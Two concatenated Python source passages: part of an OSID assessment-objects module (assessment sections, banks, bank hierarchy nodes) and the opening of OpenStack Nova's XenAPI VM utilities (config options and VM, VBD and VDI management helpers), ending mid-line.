AssessmentTakenList(abc_assessment_objects.AssessmentTakenList, osid_objects.OsidList): """Like all ``OsidLists,`` ``AssessmentTakenList`` provides a means for accessing ``AssessmentTaken`` elements sequentially either one at a time or many at a time. Examples: while (atl.hasNext()) { AssessmentTaken assessment = atl.getNextAssessmentTaken(); or while (atl.hasNext()) { AssessmentTaken[] assessments = atl.hetNextAssessmentsTaken(atl.available()); } """ def get_next_assessment_taken(self): """Gets the next ``AssessmentTaken`` in this list. return: (osid.assessment.AssessmentTaken) - the next ``AssessmentTaken`` in this list. The ``has_next()`` method should be used to test that a next ``AssessmentTaken`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(AssessmentTaken) next_assessment_taken = property(fget=get_next_assessment_taken) @utilities.arguments_not_none def get_next_assessments_taken(self, n): """Gets the next set of ``AssessmentTaken`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``AssessmentTaken`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.AssessmentTaken) - an array of ``AssessmentTaken`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class AssessmentSection(abc_assessment_objects.AssessmentSection, osid_objects.OsidObject): """Represents an assessment section. An assessment section represents a cluster of questions used to organize the execution of an assessment. The section is the student aspect of an assessment part. """ _record_type_data_sets = {} _namespace = 'assessment.AssessmentSection' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_SECTION_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' def get_assessment_taken_id(self): """Gets the ``Id`` of the ``AssessmentTaken``. return: (osid.id.Id) - the assessment taken ``Id`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_objective_id return Id(self._my_map['assessmentTakenId']) assessment_taken_id = property(fget=get_assessment_taken_id) def get_assessment_taken(self): """Gets the ``AssessmentTakeb``. return: (osid.assessment.AssessmentTaken) - the assessment taken raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_objective mgr = self._get_provider_manager('ASSESSMENT') if not mgr.supports_assessment_taken_lookup(): raise errors.OperationFailed('Assessment does not support AssessmentTaken lookup') lookup_session = mgr.get_assessment_taken_lookup_session() lookup_session.use_federated_bank_view() return lookup_session.get_assessment_taken(self.get_assessment_taken_id()) assessment_taken = property(fget=get_assessment_taken) def has_allocated_time(self): """Tests if this section must be completed within an allocated time. return: (boolean) - ``true`` if this section has an allocated time, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ return self.get_assessment_taken().get_assessment_offered().has_duration() def get_allocated_time(self): """Gets the allocated time for this section. return: (osid.calendaring.Duration) - allocated time raise: IllegalState - ``has_allocated_time()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self.get_assessment_taken().get_assessment_offered().get_duration() allocated_time = property(fget=get_allocated_time) def are_items_sequential(self): """Tests if the items or parts in this section are taken sequentially. return: (boolean) - ``true`` if the items are taken sequentially, ``false`` if the items can be skipped and revisited *compliance: mandatory -- This method must be implemented.* """ return self.get_assessment_taken().get_assessment_offered().are_items_sequential() def are_items_shuffled(self): """Tests if the items or parts appear in a random order. return: (boolean) - ``true`` if the items appear in a random order, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ return self.get_assessment_taken().get_assessment_offered().are_items_shuffled() @utilities.arguments_not_none def get_assessment_section_record(self, assessment_section_record_type): """Gets the assessment section record corresponding to the given ``AssessmentSection`` record ``Type``. This method is used to retrieve an object implementing the requested record. The ``assessment_section_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(assessment_section_record_type)`` is ``true`` . arg: assessment_section_record_type (osid.type.Type): an assessment section record type return: (osid.assessment.records.AssessmentSectionRecord) - the assessment section record raise: NullArgument - ``assessment_section_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_section_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_section_record_type) class AssessmentSectionList(abc_assessment_objects.AssessmentSectionList, osid_objects.OsidList): """Like all ``OsidLists,`` ``AssessmentSectionList`` provides a means for accessing ``AssessmentSection`` elements sequentially either one at a time or many at a time. Examples: while (asl.hasNext()) { AssessmentSection section = asl.getNextAssessmentSection(); or while (asl.hasNext()) { AssessmentSection[] sections = asl.hetNextAssessmentSections(asl.available()); } """ def get_next_assessment_section(self): """Gets the next ``AssessmentSection`` in this list. return: (osid.assessment.AssessmentSection) - the next ``AssessmentSection`` in this list. The ``has_next()`` method should be used to test that a next ``AssessmentSection`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(AssessmentSection) next_assessment_section = property(fget=get_next_assessment_section) @utilities.arguments_not_none def get_next_assessment_sections(self, n): """Gets the next set of ``AssessmentSection`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``AssessmentSection`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.AssessmentSection) - an array of ``AssessmentSection`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class Bank(abc_assessment_objects.Bank, osid_objects.OsidCatalog): """A bank defines a collection of assessments and items.""" _record_type_data_sets = {} _namespace = 'assessment.Bank' def __init__(self, osid_catalog_map, runtime=None): osid_objects.OsidCatalog.__init__(self, osid_catalog_map, runtime) self._record_type_data_sets = self._get_registry('BANK_RECORD_TYPES') self._records = dict() # This check is here for transition purposes: try: self._load_records(osid_catalog_map['recordTypeIds']) except KeyError: print 'KeyError: recordTypeIds key not found in ', self._my_map['displayName']['text'] self._load_records([]) # In place for transition purposes @utilities.arguments_not_none def get_bank_record(self, bank_record_type): """Gets the bank record corresponding to the given ``Bank`` record ``Type``. This method is used to retrieve an object implementing the requested record. The ``bank_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(bank_record_type)`` is ``true`` . arg: bank_record_type (osid.type.Type): a bank record type return: (osid.assessment.records.BankRecord) - the bank record raise: NullArgument - ``bank_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(bank_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() class BankForm(abc_assessment_objects.BankForm, osid_objects.OsidCatalogForm): """This is the form for creating and updating banks. Like all ``OsidForm`` objects, various data elements may be set here for use in the create and update methods in the ``BankAdminSession``. For each data element that may be set, metadata may be examined to provide display hints or data constraints. """ _record_type_data_sets = {} _namespace = 'assessment.Bank' def __init__(self, osid_catalog_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('BANK_RECORD_TYPES') self._kwargs = kwargs self._init_metadata(**kwargs) self._records = dict() if osid_catalog_map is not None: self._for_update = True self._my_map = osid_catalog_map self._load_records(osid_catalog_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self) osid_objects.OsidSourceableForm._init_metadata(self) def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) osid_objects.OsidSourceableForm._init_map(self, **kwargs) @utilities.arguments_not_none def get_bank_form_record(self, bank_record_type): """Gets the ``BankFormRecord`` corresponding to the given bank record ``Type``. arg: bank_record_type (osid.type.Type): a bank record type return: (osid.assessment.records.BankFormRecord) - the bank record raise: NullArgument - ``bank_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(bank_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() class BankList(abc_assessment_objects.BankList, osid_objects.OsidList): """Like all ``OsidLists,`` ``BankList`` provides a means for accessing ``Bank`` elements sequentially either one at a time or many at a time. Examples: while (bl.hasNext()) { Bank bank = bl.getNextBank(); } or while (bl.hasNext()) { Bank[] banks = bl.getNextBanks(bl.available()); } """ def get_next_bank(self): """Gets the next ``Bank`` in this list. return: (osid.assessment.Bank) - the next ``Bank`` in this list. The ``has_next()`` method should be used to test that a next ``Bank`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(Bank) next_bank = property(fget=get_next_bank) @utilities.arguments_not_none def get_next_banks(self, n): """Gets the next set of ``Bank`` elements in this list which must be less than or equal to the return from ``available()``. arg: n (cardinal): the number of ``Bank`` elements requested which must be less than or equal to ``available()`` return: (osid.assessment.Bank) - an array of ``Bank`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class BankNode(abc_assessment_objects.BankNode, osid_objects.OsidNode): """This interface is a container for a partial hierarchy retrieval. The number of hierarchy levels traversable through this interface depend on the number of levels requested in the ``BankHierarchySession``. """ def __init__(self, node_map, runtime=None, proxy=None, lookup_session=None): osid_objects.OsidNode.__init__(self, node_map) self._lookup_session = lookup_session self._runtime = runtime self._proxy = proxy def get_object_node_map(self): node_map = dict(self.get_bank().get_object_map()) node_map['type'] = 'BankNode' node_map['parentNodes'] = [] node_map['childNodes'] = [] for bank_node in self.get_parent_bank_nodes(): node_map['parentNodes'].append(bank_node.get_object_node_map()) for bank_node in self.get_child_bank_nodes(): node_map['childNodes'].append(bank_node.get_object_node_map()) return node_map def get_bank(self): """Gets the ``Bank`` at this node. return: (osid.assessment.Bank) - the bank represented by this node *compliance: mandatory -- This method must be implemented.* """ if self._lookup_session is None: mgr = get_provider_manager('ASSESSMENT', runtime=self._runtime, proxy=self._proxy) self._lookup_session = mgr.get_bank_lookup_session() return self._lookup_session.get_bank(Id(self._my_map['id'])) bank = property(fget=get_bank) def get_parent_bank_nodes(self): """Gets the parents of this bank. return: (osid.assessment.BankNodeList) - the parents of this node *compliance: mandatory -- This method must be implemented.* """ parent_bank_nodes = [] for node in self._my_map['parentNodes']: parent_bank_nodes.append(BankNode( node._my_map, runtime=self._runtime, proxy=self._proxy, lookup_session=self._lookup_session)) return BankNodeList(parent_bank_nodes) parent_bank_nodes = property(fget=get_parent_bank_nodes) def get_child_bank_nodes(self): """Gets the children of this bank. return: (osid.assessment.BankNodeList) - the children of this node *compliance: mandatory -- This method must be implemented.* """ parent_bank_nodes = [] for node in self._my_map['childNodes']: parent_bank_nodes.append(BankNode( node._my_map, runtime=self._runtime, proxy=self._proxy, lookup_session=self._lookup_session)) return BankNodeList(parent_bank_nodes) child_bank_nodes = property(fget=get_child_bank_nodes) class BankNodeList(abc_assessment_objects.BankNodeList, osid_objects.OsidList): """Like all ``OsidLists,`` ``BankNodeList`` provides a means for accessing ``BankNode`` elements sequentially either one at a time or many at a time. Examples: while (bnl.hasNext()) { BankNode node = bnl.getNextBankNode(); } or while (bnl.hasNext()) { BankNode[] nodes = bnl.getNextBankNodes(bnl.available()); } """ def get_next_bank_node(self): """Gets the next ``BankNode`` in this list. return: (osid.assessment.BankNode) - the next ``BankNode`` in this list. The ``has_next()`` method should be used to test that a next ``BankNode`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(BankNode) next_bank_node = property(fget=get_next_bank_node) @utilities.arguments_not_none def get_next_bank_nodes(self, n): """Gets the next set of ``BankNode`` elements in this list which must be less than or equal to the return from ``available()``. arg: n (cardinal): the number of ``BankNode`` elements requested which must be less than or equal to ``available()`` return: (osid.assessment.BankNode) - an array of ``BanklNode`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class ResponseList(abc_assessment_objects.ResponseList, osid_objects.OsidList): """Like all ``OsidLists,`` ``ResponseList`` provides a means for accessing ``Response`` elements sequentially either one at a time or many at a time. Examples: while (rl.hasNext()) { Response response = rl.getNextResponse(); } or while (rl.hasNext()) { Response[] responses = rl.getNextResponses(rl.available()); } """ def get_next_response(self): """Gets the next ``Response`` in this list. return: (osid.assessment.Response) - the next ``Response`` in this list. The ``has_next()`` method should be used to test that a next ``Response`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(Response) next_response = property(fget=get_next_response) @utilities.arguments_not_none def get_next_responses(self, n): """Gets the next set of ``Response`` elements in this list which must be less than or equal to the return from ``available()``. arg: n (cardinal): the number of ``Response`` elements requested which must be less than or equal to ``available()`` return: (osid.assessment.Response) - an array of ``Response`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n)
codeparrot/github-code-clean
# Copyright (c) 2010 Citrix Systems, Inc. # Copyright 2011 Piston Cloud Computing, Inc. # Copyright 2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Helper methods for operations related to the management of VM records and their attributes like VDIs, VIFs, as well as their lookup functions. """ import contextlib import os import time import urllib import uuid from xml.dom import minidom from xml.parsers import expat from eventlet import greenthread from oslo_concurrency import processutils from oslo_config import cfg from oslo_log import log as logging from oslo_utils import excutils from oslo_utils import importutils from oslo_utils import strutils from oslo_utils import timeutils from oslo_utils import units from oslo_utils import versionutils import six from six.moves import range import six.moves.urllib.parse as urlparse from nova.api.metadata import base as instance_metadata from nova.compute import power_state from nova.compute import task_states from nova.compute import vm_mode from nova import exception from nova.i18n import _, _LE, _LI, _LW from nova.network import model as network_model from nova import utils from nova.virt import configdrive from nova.virt import diagnostics from nova.virt.disk import api as disk from nova.virt.disk.vfs import localfs as vfsimpl from nova.virt import hardware from nova.virt.image import model as imgmodel from nova.virt import netutils from nova.virt.xenapi import agent from nova.virt.xenapi.image import utils as image_utils LOG = logging.getLogger(__name__) xenapi_vm_utils_opts = [ cfg.StrOpt('cache_images', default='all', choices=('all', 'some', 'none'), help='Cache glance images locally. `all` will cache all' ' images, `some` will only cache images that have the' ' image_property `cache_in_nova=True`, and `none` turns' ' off caching entirely'), cfg.IntOpt('image_compression_level', min=1, max=9, help='Compression level for images, e.g., 9 for gzip -9.' ' Range is 1-9, 9 being most compressed but most CPU' ' intensive on dom0.'), cfg.StrOpt('default_os_type', default='linux', help='Default OS type'), cfg.IntOpt('block_device_creation_timeout', default=10, help='Time to wait for a block device to be created'), cfg.IntOpt('max_kernel_ramdisk_size', default=16 * units.Mi, help='Maximum size in bytes of kernel or ramdisk images'), cfg.StrOpt('sr_matching_filter', default='default-sr:true', help='Filter for finding the SR to be used to install guest ' 'instances on. To use the Local Storage in default ' 'XenServer/XCP installations set this flag to ' 'other-config:i18n-key=local-storage. To select an SR ' 'with a different matching criteria, you could set it to ' 'other-config:my_favorite_sr=true. On the other hand, to ' 'fall back on the Default SR, as displayed by XenCenter, ' 'set this flag to: default-sr:true'), cfg.BoolOpt('sparse_copy', default=True, help='Whether to use sparse_copy for copying data on a ' 'resize down (False will use standard dd). This speeds ' 'up resizes down considerably since large runs of zeros ' 'won\'t have to be rsynced'), cfg.IntOpt('num_vbd_unplug_retries', default=10, help='Maximum number of retries to unplug VBD. if <=0, ' 'should try once and no retry'), cfg.StrOpt('torrent_images', default='none', choices=('all', 'some', 'none'), help='Whether or not to download images via Bit Torrent.'), cfg.StrOpt('ipxe_network_name', help='Name of network to use for booting iPXE ISOs'), cfg.StrOpt('ipxe_boot_menu_url', help='URL to the iPXE boot menu'), cfg.StrOpt('ipxe_mkisofs_cmd', default='mkisofs', help='Name and optionally path of the tool used for ' 'ISO image creation'), ] CONF = cfg.CONF CONF.register_opts(xenapi_vm_utils_opts, 'xenserver') CONF.import_opt('default_ephemeral_format', 'nova.virt.driver') CONF.import_opt('use_cow_images', 'nova.virt.driver') CONF.import_opt('use_ipv6', 'nova.netconf') XENAPI_POWER_STATE = { 'Halted': power_state.SHUTDOWN, 'Running': power_state.RUNNING, 'Paused': power_state.PAUSED, 'Suspended': power_state.SUSPENDED, 'Crashed': power_state.CRASHED} SECTOR_SIZE = 512 MBR_SIZE_SECTORS = 63 MBR_SIZE_BYTES = MBR_SIZE_SECTORS * SECTOR_SIZE KERNEL_DIR = '/boot/guest' MAX_VDI_CHAIN_SIZE = 16 PROGRESS_INTERVAL_SECONDS = 300 # Fudge factor to allow for the VHD chain to be slightly larger than # the partitioned space. Otherwise, legitimate images near their # maximum allowed size can fail on build with FlavorDiskSmallerThanImage. VHD_SIZE_CHECK_FUDGE_FACTOR_GB = 10 class ImageType(object): """Enumeration class for distinguishing different image types | 0 - kernel image (goes on dom0's filesystem) | 1 - ramdisk image (goes on dom0's filesystem) | 2 - disk image (local SR, partitioned by objectstore plugin) | 3 - raw disk image (local SR, NOT partitioned by plugin) | 4 - vhd disk image (local SR, NOT inspected by XS, PV assumed for | linux, HVM assumed for Windows) | 5 - ISO disk image (local SR, NOT partitioned by plugin) | 6 - config drive """ KERNEL = 0 RAMDISK = 1 DISK = 2 DISK_RAW = 3 DISK_VHD = 4 DISK_ISO = 5 DISK_CONFIGDRIVE = 6 _ids = (KERNEL, RAMDISK, DISK, DISK_RAW, DISK_VHD, DISK_ISO, DISK_CONFIGDRIVE) KERNEL_STR = "kernel" RAMDISK_STR = "ramdisk" DISK_STR = "root" DISK_RAW_STR = "os_raw" DISK_VHD_STR = "vhd" DISK_ISO_STR = "iso" DISK_CONFIGDRIVE_STR = "configdrive" _strs = (KERNEL_STR, RAMDISK_STR, DISK_STR, DISK_RAW_STR, DISK_VHD_STR, DISK_ISO_STR, DISK_CONFIGDRIVE_STR) @classmethod def to_string(cls, image_type): return dict(zip(cls._ids, ImageType._strs)).get(image_type) @classmethod def get_role(cls, image_type_id): """Get the role played by the image, based on its type.""" return { cls.KERNEL: 'kernel', cls.RAMDISK: 'ramdisk', cls.DISK: 'root', cls.DISK_RAW: 'root', cls.DISK_VHD: 'root', cls.DISK_ISO: 'iso', cls.DISK_CONFIGDRIVE: 'configdrive' }.get(image_type_id) def get_vm_device_id(session, image_meta): # NOTE: device_id should be 2 for windows VMs which run new xentools # (>=6.1). Refer to http://support.citrix.com/article/CTX135099 for more # information. device_id = image_meta.properties.get('hw_device_id') # The device_id is required to be set for hypervisor version 6.1 and above if device_id: hypervisor_version = session.product_version if _hypervisor_supports_device_id(hypervisor_version): return device_id else: msg = _("Device id %(id)s specified is not supported by " "hypervisor version %(version)s") % {'id': device_id, 'version': hypervisor_version} raise exception.NovaException(msg) def _hypervisor_supports_device_id(version): version_as_string = '.'.join(str(v) for v in version) return(versionutils.is_compatible('6.1', version_as_string)) def create_vm(session, instance, name_label, kernel, ramdisk, use_pv_kernel=False, device_id=None): """Create a VM record. Returns new VM reference. the use_pv_kernel flag indicates whether the guest is HVM or PV There are 3 scenarios: 1. Using paravirtualization, kernel passed in 2. Using paravirtualization, kernel within the image 3. Using hardware virtualization """ flavor = instance.get_flavor() mem = str(int(flavor.memory_mb) * units.Mi) vcpus = str(flavor.vcpus) vcpu_weight = flavor.vcpu_weight vcpu_params = {} if vcpu_weight is not None: # NOTE(johngarbutt) bug in XenServer 6.1 and 6.2 means # we need to specify both weight and cap for either to apply vcpu_params = {"weight": str(vcpu_weight), "cap": "0"} cpu_mask_list = hardware.get_vcpu_pin_set() if cpu_mask_list: cpu_mask = hardware.format_cpu_spec(cpu_mask_list, allow_ranges=False) vcpu_params["mask"] = cpu_mask viridian = 'true' if instance['os_type'] == 'windows' else 'false' rec = { 'actions_after_crash': 'destroy', 'actions_after_reboot': 'restart', 'actions_after_shutdown': 'destroy', 'affinity': '', 'blocked_operations': {}, 'ha_always_run': False, 'ha_restart_priority': '', 'HVM_boot_params': {}, 'HVM_boot_policy': '', 'is_a_template': False, 'memory_dynamic_min': mem, 'memory_dynamic_max': mem, 'memory_static_min': '0', 'memory_static_max': mem, 'memory_target': mem, 'name_description': '', 'name_label': name_label, 'other_config': {'nova_uuid': str(instance['uuid'])}, 'PCI_bus': '', 'platform': {'acpi': 'true', 'apic': 'true', 'pae': 'true', 'viridian': viridian, 'timeoffset': '0'}, 'PV_args': '', 'PV_bootloader': '', 'PV_bootloader_args': '', 'PV_kernel': '', 'PV_legacy_args': '', 'PV_ramdisk': '', 'recommendations': '', 'tags': [], 'user_version': '0', 'VCPUs_at_startup': vcpus, 'VCPUs_max': vcpus, 'VCPUs_params': vcpu_params, 'xenstore_data': {'vm-data/allowvssprovider': 'false'}} # Complete VM configuration record according to the image type # non-raw/raw with PV kernel/raw in HVM mode if use_pv_kernel: rec['platform']['nx'] = 'false' if instance['kernel_id']: # 1. Kernel explicitly passed in, use that rec['PV_args'] = 'root=/dev/xvda1' rec['PV_kernel'] = kernel rec['PV_ramdisk'] = ramdisk else: # 2. Use kernel within the image rec['PV_bootloader'] = 'pygrub' else: # 3. Using hardware virtualization rec['platform']['nx'] = 'true' rec['HVM_boot_params'] = {'order': 'dc'} rec['HVM_boot_policy'] = 'BIOS order' if device_id: rec['platform']['device_id'] = str(device_id).zfill(4) vm_ref = session.VM.create(rec) LOG.debug('Created VM', instance=instance) return vm_ref def destroy_vm(session, instance, vm_ref): """Destroys a VM record.""" try: session.VM.destroy(vm_ref) except session.XenAPI.Failure: LOG.exception(_LE('Destroy VM failed')) return LOG.debug("VM destroyed", instance=instance) def clean_shutdown_vm(session, instance, vm_ref): if is_vm_shutdown(session, vm_ref): LOG.warning(_LW("VM already halted, skipping shutdown..."), instance=instance) return True LOG.debug("Shutting down VM (cleanly)", instance=instance) try: session.call_xenapi('VM.clean_shutdown', vm_ref) except session.XenAPI.Failure: LOG.exception(_LE('Shutting down VM (cleanly) failed.')) return False return True def hard_shutdown_vm(session, instance, vm_ref): if is_vm_shutdown(session, vm_ref): LOG.warning(_LW("VM already halted, skipping shutdown..."), instance=instance) return True LOG.debug("Shutting down VM (hard)", instance=instance) try: session.call_xenapi('VM.hard_shutdown', vm_ref) except session.XenAPI.Failure: LOG.exception(_LE('Shutting down VM (hard) failed')) return False return True def is_vm_shutdown(session, vm_ref): state = get_power_state(session, vm_ref) if state == power_state.SHUTDOWN: return True return False def is_enough_free_mem(session, instance): flavor = instance.get_flavor() mem = int(flavor.memory_mb) * units.Mi host_free_mem = int(session.call_xenapi("host.compute_free_memory", session.host_ref)) return host_free_mem >= mem def _should_retry_unplug_vbd(err): # Retry if unplug failed with DEVICE_DETACH_REJECTED # For reasons which we don't understand, # we're seeing the device still in use, even when all processes # using the device should be dead. # Since XenServer 6.2, we also need to retry if we get # INTERNAL_ERROR, as that error goes away when you retry. return (err == 'DEVICE_DETACH_REJECTED' or err == 'INTERNAL_ERROR') def unplug_vbd(session, vbd_ref, this_vm_ref): # make sure that perform at least once max_attempts = max(0, CONF.xenserver.num_vbd_unplug_retries) + 1 for num_attempt in range(1, max_attempts + 1): try: if num_attempt > 1: greenthread.sleep(1) session.VBD.unplug(vbd_ref, this_vm_ref) return except session.XenAPI.Failure as exc: err = len(exc.details) > 0 and exc.details[0] if err == 'DEVICE_ALREADY_DETACHED': LOG.info(_LI('VBD %s already detached'), vbd_ref) return elif _should_retry_unplug_vbd(err): LOG.info(_LI('VBD %(vbd_ref)s uplug failed with "%(err)s", ' 'attempt %(num_attempt)d/%(max_attempts)d'), {'vbd_ref': vbd_ref, 'num_attempt': num_attempt, 'max_attempts': max_attempts, 'err': err}) else: LOG.exception(_LE('Unable to unplug VBD')) raise exception.StorageError( reason=_('Unable to unplug VBD %s') % vbd_ref) raise exception.StorageError( reason=_('Reached maximum number of retries ' 'trying to unplug VBD %s') % vbd_ref) def destroy_vbd(session, vbd_ref): """Destroy VBD from host database.""" try: session.call_xenapi('VBD.destroy', vbd_ref) except session.XenAPI.Failure: LOG.exception(_LE('Unable to destroy VBD')) raise exception.StorageError( reason=_('Unable to destroy VBD %s') % vbd_ref) def create_vbd(session, vm_ref, vdi_ref, userdevice, vbd_type='disk', read_only=False, bootable=False, osvol=False, empty=False, unpluggable=True): """Create a VBD record and returns its reference.""" vbd_rec = {} vbd_rec['VM'] = vm_ref if vdi_ref is None: vdi_ref = 'OpaqueRef:NULL' vbd_rec['VDI'] = vdi_ref vbd_rec['userdevice'] = str(userdevice) vbd_rec['bootable'] = bootable vbd_rec['mode'] = read_only and 'RO' or 'RW' vbd_rec['type'] = vbd_type vbd_rec['unpluggable'] = unpluggable vbd_rec['empty'] = empty vbd_rec['other_config'] = {} vbd_rec['qos_algorithm_type'] = '' vbd_rec['qos_algorithm_params'] = {} vbd_rec['qos_supported_algorithms'] = [] LOG.debug('Creating %(vbd_type)s-type VBD for VM %(vm_ref)s,' ' VDI %(vdi_ref)s ... ', {'vbd_type': vbd_type, 'vm_ref': vm_ref, 'vdi_ref': vdi_ref}) vbd_ref = session.call_xenapi('VBD.create', vbd_rec) LOG.debug('Created VBD %(vbd_ref)s for VM %(vm_ref)s,' ' VDI %(vdi_ref)s.', {'vbd_ref': vbd_ref, 'vm_ref': vm_ref, 'vdi_ref': vdi_ref}) if osvol: # set osvol=True in other-config to indicate this is an # attached nova (or cinder) volume session.call_xenapi('VBD.add_to_other_config', vbd_ref, 'osvol', 'True') return vbd_ref def attach_cd(session, vm_ref, vdi_ref, userdevice): """Create an empty VBD, then insert the CD.""" vbd_ref = create_vbd(session, vm_ref, None, userdevice, vbd_type='cd', read_only=True, bootable=True, empty=True, unpluggable=False) session.call_xenapi('VBD.insert', vbd_ref, vdi_ref) return vbd_ref def destroy_vdi(session, vdi_ref): try: session.call_xenapi('VDI.destroy', vdi_ref) except session.XenAPI.Failure: msg = "Unable to destroy VDI %s" % vdi_ref LOG.debug(msg, exc_info=True) msg = _("Unable to destroy VDI %s") % vdi_ref LOG.error(msg) raise exception.StorageError(reason=msg) def safe_destroy_vdis(session, vdi_refs): """Tries to destroy the requested VDIs, but ignores any errors.""" for vdi_ref in vdi_refs: try: destroy_vdi(session, vdi_ref) except exception.StorageError: msg = "Ignoring error while destroying VDI: %s" % vdi_ref LOG.debug(msg) def create_vdi(session, sr_ref, instance, name_label, disk_type, virtual_size, read_only=False): """Create a VDI record and returns its reference.""" vdi_ref = session.call_xenapi("VDI.create", {'name_label': name_label, 'name_description': disk_type, 'SR': sr_ref, 'virtual_size': str(virtual_size), 'type': 'User', 'sharable': False, 'read_only': read_only, 'xenstore_data': {}, 'other_config': _get_vdi_other_config(disk_type, instance=instance), 'sm_config': {}, 'tags': []}) LOG.debug('Created VDI %(vdi_ref)s (%(name_label)s,' ' %(virtual_size)s, %(read_only)s) on %(sr_ref)s.', {'vdi_ref': vdi_ref, 'name_label': name_label, 'virtual_size': virtual_size, 'read_only': read_only, 'sr_ref': sr_ref}) return vdi_ref @contextlib.contextmanager def _dummy_vm(session, instance, vdi_ref): """This creates a temporary VM so that we can snapshot a VDI. VDI's can't be snapshotted directly since the API expects a `vm_ref`. To work around this, we need to create a temporary VM and then map the VDI to the VM using a temporary VBD. """ name_label = "dummy" vm_ref = create_vm(session, instance, name_label, None, None) try: vbd_ref = create_vbd(session, vm_ref, vdi_ref, 'autodetect', read_only=True) try: yield vm_ref finally: try: destroy_vbd(session, vbd_ref) except exception.StorageError: # destroy_vbd() will log error pass finally: destroy_vm(session, instance, vm_ref) def _safe_copy_vdi(session, sr_ref, instance, vdi_to_copy_ref): """Copy a VDI and return the new VDIs reference. This function differs from the XenAPI `VDI.copy` call in that the copy is atomic and isolated, meaning we don't see half-downloaded images. It accomplishes this by copying the VDI's into a temporary directory and then atomically renaming them into the SR when the copy is completed. The correct long term solution is to fix `VDI.copy` so that it is atomic and isolated. """ with _dummy_vm(session, instance, vdi_to_copy_ref) as vm_ref: label = "snapshot" with snapshot_attached_here( session, instance, vm_ref, label) as vdi_uuids: imported_vhds = session.call_plugin_serialized( 'workarounds', 'safe_copy_vdis', sr_path=get_sr_path(session, sr_ref=sr_ref), vdi_uuids=vdi_uuids, uuid_stack=_make_uuid_stack()) root_uuid = imported_vhds['root']['uuid'] # rescan to discover new VHDs scan_default_sr(session) vdi_ref = session.call_xenapi('VDI.get_by_uuid', root_uuid) return vdi_ref def _clone_vdi(session, vdi_to_clone_ref): """Clones a VDI and return the new VDIs reference.""" vdi_ref = 